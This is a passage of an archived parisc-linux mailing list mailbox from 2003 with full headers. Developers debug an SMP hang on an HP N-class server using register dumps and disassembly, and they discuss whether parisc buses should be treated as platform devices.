inventoried hardware to it.  This blurs the bus distinction in generic
device because we have several inventoried buses: Runway, GSC, LASI etc.
that are all lumped under the parisc bus.

I was just wondering if it wouldn't make more sense now for us to be
using platform devices too...

James


> >From a historical perspective, we've had parisc_devices in
> one form or another since the very start of the project.
> They were called hp_devices until about August 2001.  See
> http://ftp.parisc-linux.org/patches/parisc_device-2.diff for the
> conversion.
> 
> I don't know much about Amiga/Zorro.  Maybe it'd make sense for Amiga
> platform devices to be faked as zorro_devices, but I doubt it.  In
> any case, the 4000T SCSI is a 53c710, not a 720.
> 
> -- 
> "It's not Hollywood.  War is real, war is primarily not about defeat or
> victory, it is about death.  I've seen thousands and thousands of dead bodies.
> Do you think I want to have an academic debate on this subject?" -- Robert Fisk




From - Thu Nov 08 21:29:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] N Class SMP pb ?  (follow up)
Date: Tue, 30 Sep 2003 18:31:17 +0200
Lines: 350
Approved: news@gmane.org
Message-ID: <3F5CB6FB0000AD75@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622834 31878 80.91.229.3 (22 Nov 2014 02:20:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 30 10:31:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5B8764845
	for <parisc-linux@lists.parisc-linux.org>; Tue, 30 Sep 2003 10:31:20 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1A4NPB-0007Xi-00; Tue, 30 Sep 2003 18:31:17 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 30 Sep 2003 18:31:17 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19694

Hi Grant,

Here is the very last test I did yesterday with the additional mdelay(100):

>TOC the machine, "ser pim" and look at PSW in TOC Info for each CPU.
>bit 0 is the I-Bit IIRC.

In summary:
-------  Processor 1 HPMC Information - PDC Ver
ion: 41.28  ------
[...]
CPU State                    = 0x9e000004
[...]
CPU Diagnose Register 2      = 0x0301010800802004
CPU Status Register 0        = 0x2640c24000000000
CPU Status Register 1        = 0x8000200000000000
[...]
-------  Proces
or 3 HPMC Information - PDC Version: 41.28  ------
[...]
CPU State                    = 0x9e000004
[...]
CPU Diagnose Register 2      = 0x0301030800802004
CPU Status Register 0        = 0x3640c24000000000
CPU Status Register 1        = 0x80000000
0000000
[...]

all I bits (well the lowest weight PSW bit :) ) are well 0


>Could be.
>Add mdelay(100) (or higher) after the lines of output you've added.
>The works if it's a functional problem that's not timing dependent.

Well after a ver
 long time of boot the system finaly crash without any
reason of panic??? (all interruption should be manage by handle_interruption?)

Just in case here is a short Pim-analyse:
-------  Processor 1 HPMC Information - PDC Version: 41.28  ------ 

GR of CPU[1]
00-03  0000000000000000  000000001041b018  000000001014dbf0  0000000000000000
04-07  0000000000008000  000000008d113c00  0000000040200000  0000000000008000
08-11  0000000000000000  000000008d2cd008  0000000080000000  00000000103fa2c8
12-15  0000000040180000  000000008d9a6280  00000000105389c0  0000000000000000
16-19  000000001045cf88  00000000103b6338  000000008d147010  ffffffffffffffff
20-23  00000000000001ff  0000000040178000  000000008d9a6280  0000000000088000
24-27  0000000040180000  0000000000000006  0000000040180000  00000000105389c0
28-31  0000000000000000  000000008d7ccef0  000000008d7ccf40  0000000000008000

GR[02] == rp = 000000001014dbf0

Func: zap_page_range, Off: 0xe0, Addr: 0x1014dbf0

    1014dbf0:	08 0e 02 5b 	copy r14,dp
    1014dbf4:	03 c0 08 b4 	mfctl tr6,r20
    1014dbf8:	4a 93 00 b0 	ldw 58(r20),r19
    1014dbfc:	29 c5 20 00 	addil b000,r14,%r1

GR[22] == t1(32bits) == arg4(64bits) = 000000008d9a6280

GR[21] == t2(32bits) == arg5(64bits) = 0000000040178000

GR[20] == t3(32bits) == arg6(64bits) = 00000000000001ff

GR[19] == t4(32bits) == arg7(64bits) = ffffffffffffffff

GR[26] == arg0 = 0000000040180000

GR[25] == arg1 = 0000000000000006

GR[24] == arg2 = 0000000040180000

GR[23] == arg3 = 0000000000088000

GR[27] == dp = 00000000105389c0

Func: __gp, Off: 0x0, Addr: 0x105389c0


GR[28] == ret0 = 0000000000000000

GR[29] == ret1 or sl = 000000008d7ccef0

GR[30] == sp = 000000008d7ccf40

GR[31] == ble rp = 0000000000008000
	Not parsable address!

CR of CPU[1]
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  00000000000002b2  0000000000000000  00000000000000c0  0000000000000003
12-15  0000000000000000  0000000000000000  0000000000107000  ffe0000000000000
16-19  000003182e3e3f89  0000000000000000  000000001014deac  0000000036b52000
20-23  00000000103401f5  00000000f33ccdd8  000000ff080ef70f  8000000000000000
24-27  0000000000461000  000000007d147000  0000000000041020  000000ffff95c810
28-31  5555555555555555  5555555555555555  000000008d7cc000  00000000105a0000

CR[00] == rctr = 0000000000000000

CR[08] == (Protection ID) pidr1 = 00000000000002b2

CR[10] == ccr = 00000000000000c0

CR[11] == sar = 0000000000000003

CR[14] == iva = 0000000000107000

CR[15] == eiem = ffe0000000000000

CR[16] == itmr = 000003182e3e3f89

CR[17] == pcsq = 0000000000000000

CR[18] == pcoq = 000000001014deac

CR[19] == iir = 0000000036b52000

CR[20] == isr = 00000000103401f5

CR[21] == ior = 00000000f33ccdd8

CR[22] == ipsw = 000000ff080ef70f

CR[23] == eirw = 8000000000000000

CR[24] == tr0 (ptov) = 0000000000461000

CR[25] == tr1 (vtop) = 000000007d147000

CR[26] == tr2 = 0000000000041020

CR[27] == tr3 = 000000ffff95c810

CR[28] == tr4 = 5555555555555555

CR[29] == tr5 = 5555555555555555

CR[30] == tr6 = 000000008d7cc000

CR[31] == tr7 = 00000000105a0000

SR of CPU[1]
00-03  0000ac80          0000ac80          00000000          0000ac80
04-07  00000000          00000000          00000000          00000000
Need much more work !!!

SR[00] == ts0 = 0000ac80

SR[01] == ts1 = 0000ac80

SR[03] == cpp = 0000ac80
	Not parsable address!
...
IIA Offset (back entry)      = 0x000000001014dea0
...

e.g. IAOQ = 0x000000001014dea0

FPR of CPU[1]
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  000000008f760ec0  0000000000000002  000000001359d740  0000000000000420
08-11  0000000000000000  0000000000000802  00000000105389c0  000000001059a000
12-15  0000000013590000  0000000000000000  0000000010180574  00000000103dc6b8
16-19  00000000000009ee  000000008fa7e000  00000000105389c0  0000000013590000
20-23  00000000103b7b0c  fffffffffffffff4  000000000000021e  0000002f66666667
24-27  000007b100000000  0000999903590b70  0000000003590b78  000000001041b980
28-31  000000001041b980  00000000ff915e20  0000000010187b38  0000000000000004

Parse IAOQ = 0x000000001014dea0 for CPU[1]

Func: zap_page_range, Off: 0x390, Addr: 0x1014dea0

    1014dea0:	06 a0 52 00 	pdtlb r0(sr1,r21)
    1014dea4:	37 39 3f ff 	ldo -1(r25),r25
    1014dea8:	bf 33 3f e5 	cmpb,*<> r19,r25,1014dea0 <zap_page_range+0x390>
    1014deac:	36 b5 20 00 	ldo 1000(r21),r21
-------  Processor 3 HPMC Information - PDC Version: 41.28  ------ 

GR of CPU[3]
00-03  0000000000000000  0000000010429028  000000001010cdd0  0000000000000021
04-07  000000008d0c05b8  00000000105389c0  000000000000000f  0000000000000000
08-11  0000000000000000  0000000040026ee2  0000000040039141  0000000040026fb4
12-15  0000000040028380  00000000faf00950  00000000400342f4  0000000000000000
16-19  000000008d0c05b8  00000000faf00910  00000000faf00910  0000000000058706
20-23  000003182e080065  0000000000000000  0000000000000000  0000000000000000
24-27  0000000000000000  0000000000000000  00000000000003e8  00000000105389c0
28-31  0000000000086470  0000000000086470  000000008d0c0b40  0000000000000226

GR[02] == rp = 000000001010cdd0

Func: handle_interruption, Off: 0xb0, Addr: 0x1010cdd0

    1010cdd0:	08 05 02 5b 	copy r5,dp
    1010cdd4:	02 00 08 b4 	mfctl itmr,r20
    1010cdd8:	02 00 08 b3 	mfctl itmr,r19
    1010cddc:	0a 93 04 33 	sub r19,r20,r19
	...
    1010cde0:	be 7c bf e5 	cmpb,*>> ret0,r19,1010cdd8 <handle_interruption+0xb8>

	...
	...
    1010cdec:	ec 7f bf c5 	cmpib,*<> -1,r3,1010cdd4 <handle_interruption+0xb4>

	...

GR[22] == t1(32bits) == arg4(64bits) = 0000000000000000

GR[21] == t2(32bits) == arg5(64bits) = 0000000000000000

GR[20] == t3(32bits) == arg6(64bits) = 000003182e080065

GR[19] == t4(32bits) == arg7(64bits) = 0000000000058706

GR[26] == arg0 = 00000000000003e8

GR[25] == arg1 = 0000000000000000

GR[24] == arg2 = 0000000000000000

GR[23] == arg3 = 0000000000000000

GR[27] == dp = 00000000105389c0

Func: __gp, Off: 0x0, Addr: 0x105389c0


GR[28] == ret0 = 0000000000086470

GR[29] == ret1 or sl = 0000000000086470

GR[30] == sp = 000000008d0c0b40

GR[31] == ble rp = 0000000000000226
	Not parsable address!

CR of CPU[3]
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  00000000000002b8  0000000000000000  00000000000000c0  000000000000003f
12-15  0000000000000000  0000000000000000  0000000000107000  ffe0000000000000
16-19  000003182e158ca8  0000000000000000  000000001010cde0  00000000be7cbfe5
20-23  00000000103401f4  00000000300c0b50  000000ff0804ff0e  8000000000000000
24-27  0000000000461000  000000007d0c4000  0000000000041020  000000ffff95c810
28-31  000000ffff95c810  5555555555555555  000000008d0c0000  0000000000008020

CR[00] == rctr = 0000000000000000

CR[08] == (Protection ID) pidr1 = 00000000000002b8

CR[10] == ccr = 00000000000000c0

CR[11] == sar = 000000000000003f

CR[14] == iva = 0000000000107000

CR[15] == eiem = ffe0000000000000

CR[16] == itmr = 000003182e158ca8

CR[17] == pcsq = 0000000000000000

CR[18] == pcoq = 000000001010cde0

CR[19] == iir = 00000000be7cbfe5

CR[20] == isr = 00000000103401f4

CR[21] == ior = 00000000300c0b50

CR[22] == ipsw = 000000ff0804ff0e

CR[23] == eirw = 8000000000000000

CR[24] == tr0 (ptov) = 0000000000461000

CR[25] == tr1 (vtop) = 000000007d0c4000

CR[26] == tr2 = 0000000000041020

CR[27] == tr3 = 000000ffff95c810

CR[28] == tr4 = 000000ffff95c810

CR[29] == tr5 = 5555555555555555

CR[30] == tr6 = 000000008d0c0000

CR[31] == tr7 = 0000000000008020

SR of CPU[3]
00-03  0000ae00          00006e00          00000000          0000ae00
04-07  00000000          00000000          00000000          00000000
Need much more work !!!

SR[00] == ts0 = 0000ae00

SR[01] == ts1 = 00006e00

SR[03] == cpp = 0000ae00
	Not parsable address!
...
IIA Offset (back entry)      = 0x000000001010cde4
...

e.g. IAOQ = 0x000000001010cde4

FPR of CPU[3]
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  000000008f760ec0  0000000000000002  000000001359d740  0000000000000420
08-11  0000000000000000  0000000000000802  00000000105389c0  000000001059a000
12-15  0000000013590000  0000000000000000  0000000010180574  00000000103dc6b8
16-19  00000000000009ee  000000008fa7e000  00000000105389c0  0000000013590000
20-23  00000000103b7b0c  fffffffffffffff4  0000000000000000  0000000000000000
24-27  0000999900000000  0000999903590b70  0000000003590b78  000000001041b980
28-31  000000001041b980  00000000ff915e20  0000000010187b38  0000000000000000

Parse IAOQ = 0x000000001010cde4 for CPU[3]

Func: handle_interruption, Off: 0xc4, Addr: 0x1010cde4

    1010cde0:	be 7c bf e5 	cmpb,*>> ret0,r19,1010cdd8 <handle_interruption+0xb8>
    1010cde4:	08 00 02 40 	nop
    1010cde8:	34 63 3f ff 	ldo -1(r3),r3
    1010cdec:	ec 7f bf c5 	cmpib,*<> -1,r3,1010cdd4 <handle_interruption+0xb4>

Any idea?

>Otherwise setup kernel crash dump and use tools from bruno/phi to view
>contents of the kernel message buffer.

Well, that seems to be the ultimate solution (I don't remember if it also
works on smp kernel?) but I will need to discuss a bit with them to see if
I reach to get a dump how could it be analysed?

Thanks again for your attention,
    Joel




-------------------------------------------------------------------------
L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro
pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: NCR53c720
Date: Tue, 30 Sep 2003 11:23:12 -0600
Lines: 7
Approved: news@gmane.org
Message-ID: <20030930172312.GA7391@dsl2.external.hp.com>
References: <Pine.GSO.4.21.0309291116250.7432-100000@vervain.sonytel.be> <Pine.LNX.4.44.0309291434260.17812-100000@serv> <20030929133317.GP24824@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.44.0309291818060.17548-100000@serv> <20030929162749.GR24824@parcelfarce.linux.theplanet.co.uk> <20030929205548.GA13226@dsl2.external.hp.com> <1064869488.1782.240.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622835 31884 80.91.229.3 (22 Nov 2014 02:20:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:35 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Roman Zippel <zippel@linux-m68k.org>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	parisc-linux@parisc-linux.org, linux-apus-devel@lists.sourceforge.net
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 30 11:23:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 1883A4840; Tue, 30 Sep 2003 11:23:12 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1064869488.1782.240.camel@mulgrave>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19695

On Mon, Sep 29, 2003 at 04:00:10PM -0500, James Bottomley wrote:
> DMA-mapping.txt is only the pci_ DMA API.

Doh! yes...misread willy's comment. sorry.

grant


From - Thu Nov 08 21:29:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] N Class SMP pb ?  (follow up)
Date: Tue, 30 Sep 2003 12:50:23 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <20030930185023.GB7391@dsl2.external.hp.com>
References: <3F5CB6FB0000AD75@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622835 31893 80.91.229.3 (22 Nov 2014 02:20:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 30 12:50:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 40E8E4840; Tue, 30 Sep 2003 12:50:23 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3F5CB6FB0000AD75@ocpmta1.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19696

On Tue, Sep 30, 2003 at 06:31:17PM +0200, Joel Soete wrote:
> Hi Grant,
> 
> Here is the very last test I did yesterday with the additional mdelay(100):
> 
> >TOC the machine, "ser pim" and look at PSW in TOC Info for each CPU.
> >bit 0 is the I-Bit IIRC.
> 
> In summary:
> -------  Processor 1 HPMC Information - PDC Version: 41.28  ------

Did you TOC the machine or did it HPMC?
I was under the impression the SW had hung and one needed to TOC
to regain control. TOC info is seperate from HPMC info.

If it's in fact HPMC, then look at IOAQ/GR02 for both CPUs
and see which functions they were executing in when HPMC occurred.

grant


From - Thu Nov 08 21:29:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: NCR53c720
Date: Tue, 30 Sep 2003 13:03:29 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20030930190329.GC7391@dsl2.external.hp.com>
References: <Pine.GSO.4.21.0309301019390.7902-100000@vervain.sonytel.be> <1064929633.2183.7.camel@mulgrave> <20030930135914.GW24824@parcelfarce.linux.theplanet.co.uk> <1064935949.1930.6.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622835 31899 80.91.229.3 (22 Nov 2014 02:20:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:35 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Rene Brothuhn <rene.br@web.de>, Roman Zippel <zippel@linux-m68k.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	parisc-linux@parisc-linux.org,
	Linux/PPC on APUS development <linux-apus-devel@lists.sourceforge.net>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 30 13:03:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 86F8448C1; Tue, 30 Sep 2003 13:03:29 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1064935949.1930.6.camel@mulgrave>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19697

On Tue, Sep 30, 2003 at 10:32:23AM -0500, James Bottomley wrote:
> What I did for PA was to create a parisc bus type, and attach all the
> inventoried hardware to it.  This blurs the bus distinction in generic
> device because we have several inventoried buses: Runway, GSC, LASI etc.
> that are all lumped under the parisc bus.

All those busses conform to the HP IO ADC and thus could be
considered the same type of bus. Except for LASI, the above makes
sense to me.

LASI isn't a bus. This would be a candidate for "platform device"
since it's bridge-like device with integrate sub-devices.
EISA bridge chips might be a similar case.

> I was just wondering if it wouldn't make more sense now for us to be
> using platform devices too...

I don't understand "platform devices" vs "PCI devices" unless we
are talking about "custom", arch specific bridge chips.
A GSC device is a GSC device regardless of which board it's soldered to.
That's not the case for PCI?

grant


From - Thu Nov 08 21:29:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] N Class SMP pb ?  (follow up)
Date: Wed, 1 Oct 2003 08:48:27 +0200
Lines: 89
Approved: news@gmane.org
Message-ID: <3F5CC41F0000B5FA@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622835 31906 80.91.229.3 (22 Nov 2014 02:20:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct  1 00:48:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 931274845
	for <parisc-linux@lists.parisc-linux.org>; Wed,  1 Oct 2003 00:48:55 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1A4amh-0000EP-00; Wed, 01 Oct 2003 08:48:27 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 1 Oct 2003 08:48:27 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19698

>>
>> In summary:
>> -------  Processor 1 HPMC Information - PDC Version: 41.28  ------
>
>Did you TOC the machine or did it HPMC?
>I was under the impression the SW had hung and one needed to TOC
>to regain control. TOC info is seperate from HPM
 info.

Exact, but TOC info only contains 0 so I suposed that system do actualy
a HPMC but do not seems to be managed by handle_interruption() as at its
begining I put a printk() which was suposed to write the 'code' value?

to be more accurate:

[...]
    struct siginfo si;

    printk(KERN_ERR "%s(%d, ...).\n", __FUNCTION__, code);
    mdelay(100);
[...]

which allowing me to read a lot of 6, 15, 26 codes but never 1?

>
>If it's in fact HPMC, then look at IOAQ/GR02 for both CPUs
>and see which functions they were executing in when HPMC occurred.

which were for cpu[1]:
GR[02] == rp = 000000001014dbf0

Func: zap_page_range, Off: 0xe0, Addr: 0x1014dbf0

    1014dbf0:  08 0e 02 5b   copy r14,dp
    1014dbf4:  03 c0 08 b4   mfctl tr6,r20
    1014dbf8:  4a 93 00 b0   ldw 58(r20),r19
    1014dbfc:  29 c5 20 00   addil b000,r14,%r1

[...]
Parse IAOQ = 0x000000001014dea0 for CPU[1]

Func: zap_page_range, Off: 0x390, Addr: 0x1014dea0

    1014dea0:  06 a0 52 00   pdtlb
r0(sr1,r21)
    1014dea4:  37 39 3f ff   ldo -1(r25),r25
    1014dea8:  bf 33 3f e5   cmpb,*<> r19,r25,1014dea0 <zap_page_range+0x390>
    1014deac:  36 b5 20 00   ldo 1000(r21),r21

And for cpu[3]:
GR[02] == rp = 000000001010cdd0

Func: handle
interruption, Off: 0xb0, Addr: 0x1010cdd0

    1010cdd0:  08 05 02 5b   copy r5,dp
    1010cdd4:  02 00 08 b4   mfctl itmr,r20
    1010cdd8:  02 00 08 b3   mfctl itmr,r19
    1010cddc:  0a 93 04 33   sub r19,r20,r19
  ...

Parse IAOQ = 0x000000
01010cde4 for CPU[3]

Func: handle_interruption, Off: 0xc4, Addr: 0x1010cde4

    1010cde0:  be 7c bf e5   cmpb,*>> ret0,r19,1010cdd8 <handle_interruption+0xb8>
    1010cde4:  08 00 02 40   nop
    1010cde8:  34 63 3f ff   ldo -1(r3),r3
    1010
dec:  ec 7f bf c5   cmpib,*<> -1,r3,1010cdd4 <handle_interruption+0xb4>


Am i wrong if I presume that the nop isn would be harmless on cpu[3] OTC
'pdtlb r0(sr1,r21)' ?  But I do not read any code 10 printout by printk()
anyway it is the only exception: Privileged operation trap.

Thanks again,
    Joel




-------------------------------------------------------------------------
L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro
pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: mmogenius@v8fiesta.co.uk
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] x86 on b2000
Date: Wed,  1 Oct 2003 10:22:56 +0100
Lines: 82
Approved: news@gmane.org
Message-ID: <1065000176.3f7a9cf0cbad2@webmail.v8fiesta.co.uk>
References: <Pine.LNX.4.44.0308280022230.16696-100000@sal.ucc.ie> <1062062541.3f4dc9cd843ed@webmail.v8fiesta.co.uk> <1063733943.3f674ab751edb@webmail.v8fiesta.co.uk> <20030916174726.GC30906@dsl2.external.hp.com> <1063738987.3f675e6b22961@webmail.v8fiesta.co.uk> <20030917040849.GA11011@dsl2.external.hp.com> <3F683606.8000701@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622836 31915 80.91.229.3 (22 Nov 2014 02:20:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
